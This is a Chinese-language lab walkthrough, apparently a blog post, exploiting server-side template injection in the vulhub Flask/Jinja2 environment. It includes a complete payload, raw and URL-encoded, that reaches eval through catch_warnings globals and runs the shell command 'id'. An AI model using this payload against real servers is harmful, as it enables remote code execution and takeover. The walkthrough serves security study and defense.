1.进入vulhub/flask/ssti后,docker-compose up -d拉取环境(docker-compose down关闭环境)

2.ifconfig查看靶机ip:192.168.11.135,docker ps查看端口:8000,访问http://192.168.11.135:8000

3.进入src,cat app.py,源码中有:

对以上两句话的分析eg:

假设请求的URL是:http://example.com/?name=Alice

request.args.get('name', 'guest') 会返回 'Alice',因为name参数存在。

如果请求的URL是:http://example.com/

request.args.get('name', 'guest') 会返回 'guest',因为name参数不存在。

问号作用:路径+?+参数
eg:http://example.com/?name=Alice

那么在url里输入参数:http://192.168.11.135:8000/?name={{%27mike%27}}

漏洞原理:模板引擎的作用,

Flask 等框架使用模板引擎(如 Jinja2)来动态生成 HTML 页面。

模板引擎允许将用户输入嵌入到模板中, {{}}中的内容会被解析为表达式而不是普通文本。

{{'mike'}} 会被解析为模板表达式。
模板引擎会尝试将 'mike' 作为字符串处理,并返回 mike。

注:在url写参数时''要进行url编码:%27

至此说明了存在ssti漏洞,接下来:

eval 是 Python 中的一个内置函数,它可以动态执行字符串形式的 Python 代码。我们目标通过利用 SSTI 漏洞找到并调用 eval,从而在服务器上执行任意代码,进一步控制服务器。

补充知识:

语句{%...%}

变量{{...}}

注释{#...#}

过程:寻找直接继承自object的子类,在这些子类中找warnings.catch_warnings,其全局变量中包含 eval(dict)。__globals__ 是 __init__ 函数的属性(dict),指向该函数所在模块的全局命名空间。

{% for c in [].__class__.__base__.__subclasses__() %} 遍历Python中所有直接继承自object的类:空列表也是一个对象,调用class返回其类型'class',class在调用base找到其父类object,subclasses是找object的直接子类。python中所有对象都直接或间接继承于object。

{% if c.__name__ == 'catch_warnings' %}               找出子类中名为catch_warinings的类

  {% for b in c.__init__.__globals__.values() %}      在这个类的初始化函数(__init__)中包含的全 
                                                      局变量里进行遍历,b是globals的变量

  {% if b.__class__ == {}.__class__ %}                假如某个全局变量的类型是字典 (dict) 类型

    {% if 'eval' in b.keys() %}                       检查这个字典是否有 'eval' 这个键。
      {{ b['eval']('__import__("os").popen("id").read()') }}  调用eval函数执行命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}


最后再对这个payload url编码:
%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__%28%29%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values%28%29%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys%28%29%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D%28%27__import__%28%22os%22%29.popen%28%22id%22%29.read%28%29%27%29%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

加入到url里:http:192.168.11.135:8000?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__%28%29%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values%28%29%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys%28%29%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D%28%27__import__%28%22os%22%29.popen%28%22id%22%29.read%28%29%27%29%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

即可获得系统id

模板注入漏洞:

模板引擎:模板引擎的关键就是只需要用户提供数据给模板便可以生成前端html页面。模板引擎并不安全:SST它能在模板中执行本机函数,这就意味着如果攻击者能够向模板文件中写入这种表达式,他们就能够执行任意函数。那 require() 和 eval() 函数来说,require() 函数会包含一个文件并执行,eval() 函数不是执行文件,而是将字符串当成代码来执行。将未经处理的输入传递给 eval() 函数是极其危险的。

漏洞原因:漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

更多推荐